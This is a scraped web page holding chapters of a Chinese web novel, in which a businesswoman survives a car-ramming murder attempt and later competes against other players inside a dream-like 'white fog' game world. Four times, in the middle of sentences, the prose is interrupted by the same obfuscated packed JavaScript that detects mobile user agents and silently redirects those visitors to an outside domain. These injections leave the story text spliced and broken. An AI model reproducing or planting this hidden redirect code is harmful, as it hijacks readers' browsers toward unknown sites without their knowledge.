如果说第一次还有可能是意外，那么第二次撞击就足以证明这是一场有预谋的谋杀。 周围的车辆顿时吓得变道躲远，有的车辆飞快驶离案发现场，也有热心人士停靠到道路一侧，拿出手机报警。 但黑色车辆对外界的骚动视若无睹，一心一意追着她撞击。 “林总？”车辆撞击的巨响也让耳机对面的人听到，副总和公司的其他成员惊恐地大喊，想要确认不在公司的人的人身安全。 林筱控制着方向盘躲开后面的车辆，在这条宽敞的道路蛇形前进，但车尾依旧不可避免地被撞得伤痕累累。 又是一次撞击，即使被安全带勒回了座椅，林筱依旧能感觉到那猛烈的震动，心脏不受控地加速，就连双手都在颤抖。 “没事，”车还能开，林筱凝下神来，继续带着紧随身后的无牌车向着远离无辜人员的空旷地方而去，“我这边有天狼星的人想撞死我，我先甩开他，一会你就通知媒体，这可是大新闻。” “天狼星派人撞你！”副总的嗓子都因为惊讶而变得尖利，这下就连本来不凑热闹的其他人都忍不住看了过来，“这还管什么新不新闻的，你先别管我们，先安全下来再说。” “这不是怕你们担心，提前和你们知会一声。”林筱随口应道，找到机会来到一个道路拐角，借着绿化带的遮掩在车速下降时纵身一跃，翻滚着卸下加速度而导致的冲击力，躲匿在灌木丛之中。 至于她的车，自动驾驶功能会带着后面的车不断地在附近绕圈，直到被逼到断桥边。 这里的地形她熟悉，往前几公里的地方就有一个计划要拆迁的断桥与楼宇。那里都是废墟，路灯只是摆设，更是监控管辖不到的地方，可以说最理想的犯罪现场 在发现身后的人来自天狼星时，林筱就有了借自动驾驶功能脱身的计划。他们的姜总是个文盲，她在赌，他们公司的其他员工也不会是文化水平很高的聪明人。 一个在法治社会敢当着一堆人犯法的人，想来脑子就不太好。 果然，都不需要林筱假装有人，那辆黑色的车就自动自觉地追了上去。 “林总？”察觉到对面突然安静下来，副总突然带着惶恐磕磕绊绊地问道。 这个时候的安静，不是林筱脱离险境，就是林筱已经遇难。他不敢想象，但还是强迫自己面对现实，颤着声音询问。 “嗯。”林筱应了一声，算是安抚他，“媒体找到了吗？” “都这个时候，你怎么还想着媒体！”副总气急，但最后还是老实地回答，“请到了，还是上次那家。” “再找一些营销号。”林筱看着路上因为疾驰摩擦而留下的车轮痕迹，“既然他们给我们这个机会，那就不要浪费，送他们扬名。” 手机上已经出现她的车辆自毁前的最后一段视频，车子翻入江海之前，正好能够清晰地拍到黑色车辆驾驶人的侧脸。 那人停下车想要欣赏自己的成果，没想到正好被林筱记录下来，成为他犯罪的重要证据之一。 “好，”副总记下来，不忘关切地询问她，“需要我们派人接你吗？” “不用，你们太显眼了。”林筱立马拒绝，冷笑道，“不管怎么说，你也得为对方想想。他们千辛万苦好不容易能庆个功，不要急着扫他们的兴。” 副总停顿了片刻：“好。” 看来林总真的气疯了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073110|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过也是，没有人能够在被追杀后还能保持冷静。 但其实林筱现在就挺冷静的。 她转移到安全的路边，用自己不为人知的私人号叫了一辆车，目的地派出所。 她之前就提过，法制社会，有什么问题大家依法办理。打打杀杀的，那是野蛮人的做法，不该是进入现代文明的人应该有的行为。 所以有问题，找警察。 派出所一如既往的没什么人，除了□□的。但当她表明身份之后，整个派出所都热闹起来，联系人的联系人，提前了解一下情况的简单询问一下，还给了她一瓶矿泉水定定神。 毕竟，这已经不只是当地的小新闻了。 当时那个路口的车流量虽然比不上主干道路，但也称不上荒凉。在一群车子的围观中，总有人录制了视频发布到网上，短短时间内就已经在网上引起了热议。 尤其当白雾公司认领了当事人之一的身份后。 就算他们没有明说，网上也已经有很多人猜测撞人的就是天狼星的人。两家本就是竞争关系，现在还夹杂着一份对赌协议，再加上之前的商业间谍说法，网友们更是认定天狼星恼羞成怒，买凶杀人。 大致的方向他们没有猜错，只不过他们也没想到贪狼星会那么疯狂，直接亲身上场追杀。 警察调出当时的监控，再加上林筱提交上去的那些材料，基本已经可以认定犯罪嫌疑人。 紧接着，副总那边也开始发力。除了少数倔强的叛逆者固执地和主流说法唱反调，其余人都已经定下了天狼星的罪。 抵制他们游戏的声音几乎掀翻了整个网络，就连他们的公司都被人泼上了红漆。 林筱不知道姜时宴有没有参与这次谋杀，但在网友眼中，他们都是一样的人。甚至专门有网友专门直播给他们公司搞破坏，迫使天狼星不得不放假让员工离开。 林筱在警局看得津津有味，顺带感慨这世界变化得真快。 没多久，人也被警察捉到了。 和之前对待林筱的蛮横不同，在警察手里的他很配合，顺从地被逮到警局，一句话也没说，一个动作也没挣扎。 直到看见林筱。 他并没有对林筱还活着这件事感到惊疑，甚至还恶狠狠地瞪着她，咬牙切齿得仿佛他才是那个受害人：“这次是你命好逃过去，下次可就没那么幸运了！” 还有下次？ 林筱翻了翻自己刚才搜到的刑法，这种性质恶劣的杀人未遂，怎么也得是无期徒刑。除了她良心大发前来做慈善，怎么看这个下次都得等到下辈子了。 想到这，林筱心情舒畅地向他挥了挥手：“行，那下辈子见。” 明明两边都有警察的钳制，但他还是趔趄了一下，在警察的呵斥下阴森地对她做了个手势。 林筱不会在意失败者发泄不满的怨气，坐在警局的椅子上继续和副总的通话。 “警方也发了公告，承认了犯罪嫌疑人就是天狼星的人。天狼星被取消了游戏文网文许可证。“副总停顿了一会，”我们赢了。“ 虽然林筱在遇到今天这一出时就知道这场对赌他们被送上了胜利王座，但当这一刻真的到来时，她依旧不可抑制地兴奋。 甚至于有些头晕。 不对，不是头晕，是周围的事物真的在旋转。 林筱扶住头，昏昏沉沉地闭上眼。 这是，世界末日要到了吗？ 56. 第二个世界13 世界是雾蒙蒙的，带着不真实的朦胧。周围没有一点杂音，就像被神秘的存在一键清空，只留下她微弱的喘息声。 林筱缓缓睁开眼，还来不及整理突然涌入的记忆，就看见眼前熟悉的街道，熟悉的破烂，以及一个应该熟悉的人。 除了左上角突然出现的倒计时，一切都很熟悉。 她回到了“现实世界”，和姜时宴两个人。 这里的一切都和她进入白雾之前看到的样子相仿，但正因为太像，所以这才是假的。 在一旁等待林筱清醒过来的姜时宴也没有趁人之危。他看着林筱的眼神恢复清明，这才对她点了点头：“林总,别来无恙。” 虽然在前不久两人还因为各自的小心思而进行了一场看似浪漫的约会，但当时一个人失忆，姜时宴也没兴趣对一个弱者下手，所以那只能算是一次寻常的见面。 即使他们的话题透露着暧昧。 即使在后来证明，失忆的林筱依旧是林筱，她从来不是弱者。 “晋王殿下，”恢复记忆的林筱自然而然地叫出现在独属于他们的称呼，但说出的话却带着调侃的谴责意味，“你瞒的我好惨。” “嗯？”姜时宴的疑惑是实实在在的疑惑，他没有反应过来林筱在说什么，只能哼了一声，等待林筱的进一步解释。 “我的失忆，不是你们做的？”林筱像是站累了，随意找了一面墙倚靠，“不是你，是你拉拢的那些玩家。” 姜时宴没有说话。 “我也是玩家，姑且认为自己还算聪明，探索到的游戏规则比较多也是可以理解的吧。”林筱抬头看向依旧笔挺地站在一旁的男人，“所以当我进入白雾那么久却依旧没有获得一条规则的时候，我就已经在疑惑。” 不知道什么时候姜时宴就靠了过来，就跟林筱不知道什么时候贴近了他的肩，灼热的气息呼在他的耳侧：“你们中有人私藏了规则，还利用商城内的道具暗算我。” 林筱已经靠在了墙边，耳边的温度极速冷却，姜时宴面色平淡地点了点头：“我不清楚。” 林筱并不在意姜时宴的表态。 姜时宴这个态度就已经算是默认。就算他现在看着能独立行动，甚至能联合外人暗算她这个主人，他在系统眼中依旧是不能算是一个人。 一个道具，怎么可能知道系统的规则，怎么可能知道玩家和系统之间的交易。 所以他的不清楚，就是实话，也是对自己怀疑的肯定。 “那他们现在该肉痛了。”林筱太清楚系统的抠门和对积分的吝啬了。 他们花费一笔不小的积分购买道具陷害她，虽然暗算成功了，却没有改变失败的结局，也难怪要拼着白雾世界破碎的可能暗杀她。 “你找了一些不合格的队友。”林筱点评道。 “所以，我来找了你。”姜时宴没有在意林筱对自己临时队友的贬低，因为他也是那么觉得的，“我只没想到，原来异乡人也不全是聪明人。” 他以为，异乡人就算没有林筱这个水平，也得有上个世界探花那种水准，没想到他这是提前看到了高峰，以至于现在遇到那些平庸的人反而难以忍受。 “我不习惯和别人合作。” 如今姜时宴自己送上门来，林筱却没有选择接受，哪怕他们在某些时候很合拍。 上个世界的经历还在提醒着林筱，合作是多么不靠谱的事情。很多事情，她一个人也可以，就没必要让第二个人来添乱。 “我和别人不一样，”明明最开始拒绝承认这个身份的是姜时宴，现在要回这个身份的也是他，“我是你的道具，你可以信赖的伙伴。” 但这句话的确打动了林筱。 系统道具带来的羁绊是目前她能够接触的最牢固的关系，但这远远不够。 姜时宴还想为自己增加一些筹码，但一些不合时宜的人总要在不合适的时间出现。 就比如此刻，倒计时还没走完，几名狼狈不堪的男女就出现在了他们眼前。 那是几乎按照一半一半比例分配出现的玩家和清洁部成员。 和在等待时间聊天谈心的林筱姜时宴不同，他们的身上或多或少地都出现了伤痕，看到身边没有出现的同伴时，彼此都用着仇恨的目光看向对方。 玩家那边是不是真的那么有同伴情林筱不清楚，但清洁部这边的人是真的看重自己的队友。 所以当他们看见林筱完好无损的时候，第一时间的反应都是：“你没事？” 同样的问话，不同的意思。 清洁部的人是担心林筱的状况，也是想知道解决困局的办法。但玩家那边，他们的想法很简单，他们怀疑姜时宴背叛了他们。 姜时宴并不打算现在就撕破脸皮，他看了眼林筱，回到了属于玩家的阵营：“你们怎么都那么狼狈，这本来就不会有事。” 姜时宴的声音没有压低，这句话也被清洁部的人听到耳中。他们互相看了看，一脸困惑：“你们没有那个倒计时吗？” 玩家这边的脸色变得古怪，看着对面的这些NPC露出轻蔑又不屑的笑容。 这个笑容让清洁部的人很不舒服，但又不知道该怎么形容这种不舒服，只能看向林筱，想让这个看起来最了解白雾规则的人替他们分析一下。 “倒计时，”林筱看向自己的左上角，那个并不显眼的倒计时已经归零，“有啊。” “那你们怎么都活了下来。”他们现在也能看出刚才林筱和姜时宴是同处一片空间之内的，“不是只能活一个下来吗？” 林筱看向一侧毫不掩饰自己恶意的玩家，再看着这些被糊弄惨的原住民，也难怪他们在体能占据优势的前提下依旧只活下来一半的人：“白雾什么时候提示过这句话？” 队长想要反驳，但话还没说出口他就反应了过来。白雾的确没有提示他们自相残杀，只不过他们一睁眼就看到对面的人一副以命相搏的模样，自然而然地以为这一次他们面对的梦境就是搏斗场，只有赢的人才能进入白雾的核心。 每一次他们想要进入白雾核心都会经历一次次筛选，所以他们之前也没怀疑自己理解错了规则。 既然这样，对面那些人为什么要误导别人？ 当清洁部的人看过去时，玩家那边已经笑出了声。他们也明白这些NPC反应了过来，明目张胆地露出挑衅的笑容：“因为，好玩呀。” 清洁部的一个成员涨红了脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073111|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，想要和他们拼命，却只能在队长的压制下忍气吞声，泪水在眼眶打转，却死活没有滴下来。 林筱冷静地看着眼前这一幕幕。 看来玩家的质量也都参差不齐，上一个世界她遇到的还都正常，而这个世界都是些什么垃圾聚会。 而且，还有人会在姜时宴的教唆下追杀她。难道他们不知道玩家之间不能自相残杀吗？ 看着眼前那一张张嚣张的脸和不把NPC放在眼中的表现，林筱突然意识到一个问题：系统从来没说过会把经历同样多次数游戏的玩家放在一起。 就像上个世界，她一个刚结束新手关的玩家会遇到那么多经验十足的老玩家一样，现在轮到她遇到那些新玩家。 又或许，上个世界真的是来自系统的私心，将她扔进了一个不该属于新人难度的世界。 像白雾这种线索清晰的世界才是新人该经历的世界。 所以不是这些玩家有恃无恐，而是他们真的不懂。 垃圾系统。 [系统提示：玩家对游戏产生恶念，性质极其恶劣，予警告一次。警告三次后，将处以消杀处理。] 和新手关卡还会掩饰的冰冷不同，突然出现的系统不再掩饰自己对玩家的控制，熟悉的电流猛然贯穿她的身体，她只能借着宽松的衣裤遮挡自己依旧颤抖的肢体。 林筱低下头冷着眼，平静地在心里默念：垃圾系统。 果然，没有惩罚。 它只是一个能感应到她激烈情绪的程序，一个玩意，一个不该继续存在于这个世界的垃圾。 “林筱，”是队长在叫她，“那倒计时是什么作用？” 系统的惩罚很快，快到让其他人几乎察觉不到。如果不是林筱的控制力强，他们只会看见林筱突然之间抽搐，就像得了癫痫一样。 “你可以把白雾比作游戏，”哪怕一会前他们才刚经历了与游戏相关的梦境，林筱提起来也还不避讳，略微沙哑的声音平静地解释，“进入下一个关卡前，总有要系统载入时间。” 所以他们所在的场景逐渐清晰，也多了刚才没有的东西： 生机。 “那一个游戏总要有主题，”这个新颖的比喻也吸引了其他人的注意，“白雾的主题是什么？” “或许，是贫苦百姓的美梦？”另一个队友也凑热闹地开口，说着自己都觉得好笑，“总不会是世界毁灭。” 但队长却没有跟着笑。 “但如果全世界都沉迷白雾，那世界就和毁灭没有差别了。”林筱在一旁开口。 白雾自身的杀伤力并不强，除了最初生成白雾的位置，它甚至给了人们逃离的机会，而且进入白雾的人也有很大概率活下来。 但只要阶级存在，就会有人沉迷白雾，就像那个疯了的男人一样。最终，白雾会扩散到整个世界，让人们避无可避。 到那时，他们或许精神依旧存在，但□□却只能在白雾无法侵袭的室内苟延残喘。封闭的空间内，会有更多的人投奔白雾。 直至这个世界没有了人。 所以在白雾再一次扩大前，他们必须储备足够的泉水建造安全屋，抵抗白雾。 但问题是，泉水在哪里？ 57. 第二个世界14 在找到泉水之前，他们先要做的是避开白雾的监控。 随着倒计时的结束，原本空旷的街道逐渐出现走动的人影，一个个各式五官拼凑的脸庞正常中带着诡异，但明显能看出不是人。 随着人出现得越来越多，不知不觉中，林筱他们已经被这些过于规整对称的“人群”包围。 这些人脸上呈现出与正常人没有差别的好奇，明晃晃地打量着围成两圈的清洁部和玩家两派人，在玩家惊恐的眼神逐渐变得警惕。 但比他们更害怕的，是玩家和清洁部的人。 一个是明白世界会被白雾毁灭的异世旅客，一个是见证同僚因为白雾而再也无法相见的城市守卫者，他们对白雾的恐惧是人们对生死本能的敬畏。 除了林筱和姜时宴。 他们像是笃定白雾是一个慈祥的大善人，不仅没有被这些诡异的人吓到，反而迎了上去：“我们在彩排节目。” “彩排节目？”一个眉眼清秀的女生握着手机怯生生地开口，“你们真的不是□□火拼？” □□火拼？ 林筱扭头看向最不像好人的玩家们，而他们在瞥见女生手机上的报警电话时，也配合地举起手：“对，彩排，在表演节目。” 要说他们现在最害怕的，还真就是警察。 他们也只是刚经历过新手世界的玩家，游戏次数储备充足，甚至还有着称霸世界的美梦，最是不怕死的时候。 但不怕死，不意味着他们不怕控制。 在上一个环节中，他们的同伙可就是被白雾的警察给带走，甚至白雾都没给他们反抗的机会。这就证明，在这个世界，警察就是无敌的。 他们要还想搞事，就不能先惹来警察的注意。 他们一配合，看上去就正气的清洁部众人就更没有人怀疑了。 女生松了口气，放下一直捏紧的手机对玩家们笑了笑：“那你们演小混混还挺厉害的，我都以为是真的了。” 玩家那边，顶着一头黄发红发的男人面色发黑，但还是被其他同伴拽住，没让他冲动。 “虽然是彩排，但越真实说明将来表演的效果也越好。” “嗯嗯嗯。”女生点了点头，已经对林筱的说法深信不疑，还帮忙和其他人解释，“你们什么时候表演？我一定也去捧个场。” “快了，就在最近。” 林筱将周围的人糊弄走，这才回到属于清洁部的队列。 哪怕林筱给他们解了围，玩家们也没有领她好意的意味。他们看着林筱，依旧带着浓烈的恶意，像是在荒野的鬣狗：“我们会再见面的。” 也不等林筱回应，他们率先混入这个城市。 姜时宴也和他们一起离开了。 没有了外人，清洁部的人也总算可以松快一下自己紧绷的神经，打量着熟悉又陌生的街道：“我还从来没有遇到过这样的白雾世界。” “我还从来没失忆过。”一旁也有人抱怨。 “这次我们在白雾世界的经历都和之前的经历不同，尤其是我们还被隐藏了记忆。”队长看着自己所剩不多的队友，满脸忧愁，“这说明白雾能对我们造成的影响更大了。” 众人都沉默了下来，叹了口气。 唯一知情的林筱没有解释。因为这根本解释不了，一旦她说这是对方使了手段之后，就会连带着引出很多无法解释的内容。 不如不说。 “既然白雾选择了我们熟悉的世界，”队长最终还是打起精神，“那我们正好可以观察一下白雾对我们世界的了解。我们就挑我们熟悉的地方去。” “嗯，有道理。”一旁的同伴纷纷点头，都不需要队长指示，他们就已经向着办公楼走去。 虽然他们是在为拯救世界奔波，但这也改变不了他们依旧只是一个普普通通打工仔的事实。对于打工人而言，万恶的办公楼就是这个城市最熟悉的建筑之一。 说不定，林筱看见几个人脸上是抑制不住的跃跃欲试，还可以把自己曾经想做却不敢做的事情都在这个虚假的世界做一遍。 然而当他们真的来到熟悉的办公区时，满脸都写着失望。 熟悉的装潢，陌生的拥挤，以及陌生的人群。 他们可从来没见过清洁部的人会那么多，多得就像一个正常的公司一样。 “算了，”有人意兴阑珊，“都是白雾编出来的东西，再看也没意思。不如去找找泉水的线索。” “你说的简单，泉水的线索在哪里呀？”有人小声怼他，“每次泉水出现的地方都稀奇古怪，上次还藏在树洞里，还老吴那组差点空手而归。” “随便哪里，总比看着这些扫兴的要好。” 他们在一旁窃窃私语，林筱却盯着里面的员工仔细观察，恨不得穿过那扇透明玻璃窗来到屋内，把人揪起来狠狠研究一遍。 “在看什么？”队长好奇地凑过来，吓了其他人一跳。 林筱还是稳稳地站在原处，指着里面一个人说：“我认识她。” 抛去因为太对称而显得诡异的脸，那副五官她曾经在旅社见过，甚至可以算是熟悉。 纹着白虎的女人。 发现这个熟人之后，她再去看其他工作人员，轻而易举地又从中找到几个眼熟的人。包括了在旅社内见过的人，也包括在网吧见到的人。 队长顺着林筱指示的方向努力看过去，却怎么也认不出人，只能无奈地放弃：“你的熟人？” “不是特别熟，但我们是在你们口中的三不管地区认识的。”林筱没有承认，也没有说谎。 人已经看全了，她回看身边的人：“要不，我们去路上找找熟人？” 队长顿时明白了她的意思，沉郁中带着幸灾乐祸地点了点头。 曾经只能蜗居在破旧旅社的人成了光鲜亮丽的白领，那被他们取代的人也该有属于他们的归宿。 寻找这些人最方便的地方，就是路边。 没有经济来源又没有求生技能，一部分人的选择就是成为流浪汉，为了每日的食粮乞讨。 没过多久，他们就陆续确认出几个熟悉的人，还都是他们的顶头上司。如果不是白雾内的影像无法被记录传出，他们恨不得将这些照片多保存几个云盘。 “你的猜测是正确的。”队长恋恋不舍地将目光从他那穿着一身不合身破旧衣服的领导身上移开，“所以泉水应该在这个城市最干旱的地方。” “我对这个不了解。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073112|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林筱看向最熟悉这个城市的人。 队长舔了舔唇，避开林筱的视线：“就在三不管地区。” 林筱意外，但也没有那么意外。 路上，队长也没有多解释。在事实面前，一切的解释都是徒劳的。 事实上，就是那些高高在上的阶级需要更完善的供水系统，于是抽空那块区域的大部分水源，用垃圾填充失去支撑的地下，带走了属于那块土地的生机。 哪怕用再冠冕堂皇的话都遮掩不了里面充斥的贪婪欲望。 很快，队长也不再解释。他看着眼前一样落魄的危房：“这里的面积很大，我们分开寻找。找到泉水的人按照来之前的计划通知其他人。” 对付白雾时间久了，他们也知道怎么偷渡一些有用的工具进来。就比如这个信号弹，就是清洁部的成果之一。 对于他的说法，林筱不表态。 明知道这个区域面积大，里面生活的人不少，但他们还是选择扼断他们的生路，那只能说他们就是单纯的恶毒了。 三不管区小巷众多，他们现在只剩下五六个人，人手严重不足，于是单人成队，各自散落在幽深的小巷。 林筱也是一个人行动。 虽然她是新人，按理来说需要一个老人陪伴，但她在白雾世界的表现也被其他人看在眼里。 如果这么优秀的人都需要陪同，那他们还不如集体行动。单人行动，也正和了林筱的意。 别看玩家在之前离开得那么爽快，那只是因为有白雾和警察的威胁。但除开这些因素，他们最想解决的还是林筱。 就像她之前遇到的那个玩家一样，他们的目的就是她手中的积分。 可惜的是，林筱回想到自己的余额，也忍不住露出心烦的表情。 为了修复上个世界遗留的伤害，系统自动扣了她一千积分。这还是单纯的皮肤受损，不涉及内伤的情况。 所以她现在真的非常理解探花郎为什么会提前死遁，不为了别的，单纯就是贵到无法承担。 哪怕她是个一夜暴富的财富继承者也一样。 就以系统这个抠门程度，还想离开这个游戏？它巴不得所有人给它打白工。 所以现在的林筱哪怕偶尔会出现一些冒进的想法，也会看在积分的面上犹豫三分，判断过利弊再做决定。 只不过这些玩家就还太年轻，不知道积分的妙处和系统的抠门，行事还是那么冒进。 “出来吧。”林筱在一个死胡同站定，没有转身，平淡地开口。 但过了一会，身后依旧没有动静，衬得林筱此刻的谨慎像个小丑。 林筱没有尴尬，也没有怀疑自己的判断，听着身后细微的声响，她突然翻墙进入一旁的院落。 墙外果然出现慌忙的脚步声和此起彼伏的咒骂，他们甚至因为没敢露头而不清楚林筱到底进了哪家院落。 “两个人翻墙一户户查，一个人堵巷口，还有一个人去看看有别的小路，都给我堵死。”为首的玩家咬牙切齿，“我看她这次怎么逃。四千积分，我要定了。” “没问题。”“好的。” 应和声陆续响起，剩下的玩家也都来到了这里。 瓮中捉鳖。 58. 第二个世界15 一旁的院落传出噼里啪啦的嘈杂声响，那是玩家翻箱倒柜的声音。 三不管地区民风剽悍，面对陌生的劫匪都会奋起反击，更何况这些看上去也不怎么厉害的玩家。 他们中有的人成功反杀，也有的人惨遭失败。 但这一切都阻止不了那些玩家要将林筱找出来的决心。 而现在，他们和林筱的距离只剩下那一堵并不宽厚的墙。隔壁的动静都被林筱听到耳中，急促的声响无声地催促着林筱及时做出反应，但她依旧没有慌张。 她走过已经翻找完全的大堂，向着屋后的院落走去。 如果当初追杀林筱的那个玩家有幸活到这个环节，那他就一定会认出这栋林筱藏匿的建筑并不陌生。 这里就是曾经他跟丢了林筱后反挨了顿打的刷着红漆的小屋。 白雾里的红漆小屋有着和现实世界一模一样的布局，甚至连那几张字画也被白雾原封不动地复刻过来。 带着三不管地区独特的狂野气息。 一回生，二回熟，林筱走向后院的脚步也格外轻快。 红漆小屋，在这三不管地区也有着特殊的地位。 它是一些人群的庇护所，是所有人心知肚明的安全屋，就连红漆也是与众不同的标记。如果要在这三不管地区找到可能藏着泉水的地方，林筱第一反应就是这里。 不过她以为白雾会多些奇思异想，就比如把泉水藏在花瓶里之类的，但没想到她把整个屋子翻遍了都没找到与水有关的东西。 看来白雾也就那样了。 红漆小屋的院落不大，出了后门就能看到一口狭窄的水井。青苔濡湿地爬行在水井的边缘，毛糙的绳索和已经破了个大洞的水桶都在指明这个水井已经荒废许久。 林筱拎着绳子试了一下，只是看上去破了些，依旧能够承受重物的拉力。她又看向深不见底的水井，漆黑的井底隐约可见水面反射的光点。 这是她目前遇到的第一口井，还是在这个位置，值得尝试。 就在林筱取水时，这栋红漆小屋也遭到了玩家的搜查。 他们下意识地认为林筱会躲起来，所以搜查的重点一直都是可以藏匿身迹的衣柜床底阁楼等位置。所以当他们顺着阳台的窗户看到毫不遮掩的林筱时，一种被愚弄的羞恼感瞬间在脑内迸发，冲动驱使着他们在没有做好万全准备前就来到了林筱面前。 凭着一时意气的后果就是，他们也不知道该面对着林筱说些什么 林筱没有理会他们的打算，即使听到了脚步声也只作不知，半个身子都探进了水井，是外人乍一眼看去就像跳井的深入。 这一下也把玩家们唬住了。 如果林筱掉进水井，为了拿积分，他们也需要跳进水里继承积分。而这水井看着就诡异，谁知道他们进去是去拿积分还是送积分的。 “你别冲动。如果你自觉交出积分，我们也可以放过你一命。”为首的玩家皱着眉，小心地安慰。 他一身休闲装，看来在现实世界的地位也不高。 “对。” “对。” 他身后的小弟们也纷纷附和，目光紧紧盯着林筱，生怕他们一没注意，林筱就跳了下去。 林筱依旧没理会他们，慢悠悠地提着绳子，将盛满井水的水杯拉了上来。 井边的水桶没用，她只能在屋内找了跟绳子绑住杯子送了下去舀水。不过毕竟是随手找来的水杯，绳子的粗细也不适合编成合适的绳索，只能看着它不断地旋转摇晃，将好不容易灌满的井水四处飘洒。 这水杯也不知道能送上来多少水，更不知道这剩余的量够不够验证它的身份。 在没有证据表明前，它就只是水。 两方的对峙在林筱取出水杯后才结束，但玩家们却莫名多了被唬住的羞愤：“装神弄鬼。” 神和鬼啊，她现在还真的没有见过，没见过的东西，她也不好意思装。于是她一边解开绳索，一边解释：“没有。” 这个解释，还不如不解释。 一旁的玩家拿出武器，指着林筱颐指气使：“你也不想浪费游戏次数吧。现在交出积分，你还可以攒下游戏次数，这局游戏的积分还能再赚。不交，你可就什么都没有了。” “你们真的很烦。” 林筱皱着眉嫌弃地开口。突然响起的粗粝沙哑声音愣是让她没能将手中的水杯拿稳，溢出的井水落在地面，石灰色的地砖没有因此变得颜色深沉，反而逐渐模糊。 那所谓的泉水还真的就是这口其貌不扬的水井？ 在其位，谋其职。 林筱想到清洁部留下的要求，从衣袋拿出那枚小巧的信号弹就往空中扔去。但这个造型特殊的联络工具却让玩家们有了别的猜想，他的手下一松，武器就不受控制地飞了出去。 哪怕最后他反应过来调整了一下方向，但那把菜刀还是来到了林筱的身前，砍掉了她些微的指甲和手中的半水杯。 本来就少的井水在这剧烈的碰撞下漫出残缺的水杯，水渍铺满她的身周，就连空气都变得虚无。 “这，这下怎么办？”玩家们面面相觑。 他们渴望积分，可眼看着林筱周围的地方不再安全，他们也没胆量跨越那里。 “你去，事后积分多分你一点。”身穿休闲服的老大一咬牙，把误将武器扔出去的人推出去，“你惹的事，你来解决，也算是给兄弟们一个交代。” 他惶恐地看向周围，之前还和他称兄道弟的人扭头不去看他，甚至有人用鼓励的眼神望向他，希望他来代替他们去试探一下那片古怪空间的威力。 他知道他们的手段，也知道自己继续拖延下去不会有好下场。 他闭上眼，鼓足勇气，颤颤巍巍地迈出第一步。 安全。 他睁开眼，这一步比他想象的还要小，他甚至听见身后同伙的嗤笑，也听见老大不耐烦地“啧”了一声。 他睁着眼，一咬牙，直接跨进了那片空气都在扭曲的空间。 “没事！我没事！”他瘫坐在地面上，兴奋到不知道说些什么，只能不断地重复着，叫喊着。 但他的同伙却没有再关注他。 他的身后，林筱摇晃着破碎的水杯，就像握着一杯红酒般，在众人惊恐的目光中将杯中剩下的水一饮而尽。 “没，没必要吧。”玩家们都吓得磕绊了，只有姜时宴露出了然地笑容。 既然世界颠倒，那么泉水所在的地方不代表结束，反而意味着开始。 开始，就是回到他们之前的地方。 所以当林筱再次睁开眼时，果然看到了熟悉的办公环境。 白雾公司。 这个梦境的主体还是林筱，所以当林筱回到白雾公司时，清洁部这些和她绑定的成员都会随着她返回上一个环节。而偷渡来的玩家如果不能在第三重梦境破灭前喝下井水返回第二重梦境，就会同样被流放在第三重梦境无法回归。 虽然他们回到了白雾公司，可已经离开的人却再也没法出现。 原本还算宽敞的杂乱办公楼瞬间显得落寞，无人的办公桌上依旧丢满等待处理的文件，空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073113|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 调吹来的清风带走桌面的一页白纸，飘落在无人在意的粉碎机之下。 “嘣。” 还没反应过来的清洁部成员依旧保持着原本的姿势，但他之前还在向着林筱发射信号弹的地方本来，原本空阔的平地突然变成办公桌堆积的障碍地，一不小心就撞到了桌子上。 尖锐的桌角直对着他的腹部，他吃痛地蹲下身，满脸郁闷。 这一声巨响也唤醒了其他人。 他们面面相觑，又看着似乎唯一了解情况的林筱，等待她的答复。 白雾世界如今被林筱控制着，清洁部无法左右林筱的决定，只能抓住一切机会为自己谋求利益。 林筱没有提及玩家，解释了一遍她对泉水的发现。那口井只是个干扰项，想要获得真正的泉水，必须真正通过白雾的考验。 “所以怎么离开这个世界？” 他们知道了林筱的理由，也接受了这个理由，这也意味着他们需要返回第一重梦境再去寻找泉水的下落。 虽然他们之前寻找泉水也没有轻松过，但这一次无疑是最复杂的一回。 